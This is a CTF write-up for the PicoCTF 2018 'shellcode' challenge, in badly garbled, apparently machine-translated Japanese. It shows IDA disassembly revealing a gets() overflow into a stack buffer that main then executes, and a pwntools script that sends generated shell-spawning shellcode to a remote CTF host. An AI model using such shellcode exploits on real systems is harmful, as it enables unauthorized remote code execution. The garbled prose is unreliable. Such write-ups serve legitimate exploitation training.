ルーチン検査
これが問題のシェルコードで、保護を参照して、NX保護がスタック上のコードを実行することができることを意味し、実際に開いていないことを示唆している対象を見てください。
逆解析
多くのファイル関数、およびIDAは、直接コンパイル、プレイヤーは希望だけラインとアセンブリコードをF5ことはできません
.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080488A1 public main
.text:080488A1 main proc near ; DATA XREF: _start+17o
.text:080488A1
.text:080488A1 var_A0 = byte ptr -0A0h
.text:080488A1 var_C = dword ptr -0Ch
.text:080488A1 var_4 = dword ptr -4
.text:080488A1 argc = dword ptr 0Ch
.text:080488A1 argv = dword ptr 10h
.text:080488A1 envp = dword ptr 14h
.text:080488A1
.text:080488A1 lea ecx, [esp+4]
.text:080488A5 and esp, 0FFFFFFF0h
.text:080488A8 push dword ptr [ecx-4]
.text:080488AB push ebp
.text:080488AC mov ebp, esp
.text:080488AE push ecx
.text:080488AF sub esp, 0A4h
.text:080488B5 mov eax, stdout
.text:080488BA push 0
.text:080488BC push 2
.text:080488BE push 0
.text:080488C0 push eax
.text:080488C1 call setvbuf
.text:080488C6 add esp, 10h
.text:080488C9 call getegid
.text:080488CE mov [ebp+var_C], eax
.text:080488D1 sub esp, 4
.text:080488D4 push [ebp+var_C]
.text:080488D7 push [ebp+var_C]
.text:080488DA push [ebp+var_C]
.text:080488DD call setresgid
.text:080488E2 add esp, 10h
.text:080488E5 sub esp, 0Ch
.text:080488E8 push offset aEnterAString ; "Enter a string!"
.text:080488ED call puts
.text:080488F2 add esp, 10h
.text:080488F5 sub esp, 0Ch
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
.text:08048904 add esp, 10h
.text:08048907 sub esp, 0Ch
.text:0804890A push offset aThanksExecutin ; "Thanks! Executing now..."
.text:0804890F call puts
.text:08048914 add esp, 10h
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
.text:0804891F mov eax, 0
.text:08048924 mov ecx, [ebp+var_4]
.text:08048927 leave
.text:08048928 lea esp, [ecx-4]
.text:0804892B retn
.text:0804892B main endp
直接データストリーム解析から、二つの主要な機能疑わしい点、それぞれ080488FFコールvulnと0804891DコールEAXがあります。一般的な関数呼び出しはEAXが前に間違いなくセクションのアドレスを与えられて、ここで説明し、eaxに呼び出すことはありません。vulnように、この問題を知っていますかCTFは、一般的に抜け穴機能という名前の関数です。我々はポイントを見に行きました
.text:0804887C ; Attributes: bp-based frame
.text:0804887C
.text:0804887C public vuln
.text:0804887C vuln proc near ; CODE XREF: main+5Ep
.text:0804887C
.text:0804887C arg_0 = dword ptr 8
.text:0804887C
.text:0804887C push ebp
.text:0804887D mov ebp, esp
.text:0804887F sub esp, 8
.text:08048882 sub esp, 0Ch
.text:08048885 push [ebp+arg_0]
.text:08048888 call gets
.text:0804888D add esp, 10h
.text:08048890 sub esp, 0Ch
.text:08048893 push [ebp+arg_0]
.text:08048896 call puts
.text:0804889B add esp, 10h
.text:0804889E nop
.text:0804889F leave
.text:080488A0 retn
.text:080488A0 vuln endp
注目vuln機能を取得する呼び出しがあります。アドレスに対応する彼のEBP + arg_0パラメータ、スタックメモリユニットに、すなわちリターンアドレスは、main関数に対応し、我々は見ることができます
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
書き込みアドレスは、[EBP + var_A0]は、アドレス、我々のノートに対応する機能を取得しています
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
アドレスは尖ったコール[EBP + var_A0]アドレスです
アイデアを使用します
ここでの考え方は非常に明確である、我々は最初の入力を取得するものメモリ[EBP + var_A0]に保存され、読み込まれます、そして時にバック関数、我々はこの部分を呼び出します。私たちはただ、シェルコードを書くように、関数がシェルコードと呼ばれた後。[EBP + var_A0]として、スタック内のシェルコードので、NX保護がオンされていないが、ローカル変数を参照し、それがスタックにある[EBP + var_A0]このように、我々は、主な機能は、可変オフセットされていない見ることができる点です上にも行うことができます。
from pwn import *
io =remote('node3.buuoj.cn',29911)
context.binary = 'PicoCTF_2018_shellcode'
shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode
io.sendline(shellcode)
io.interactive()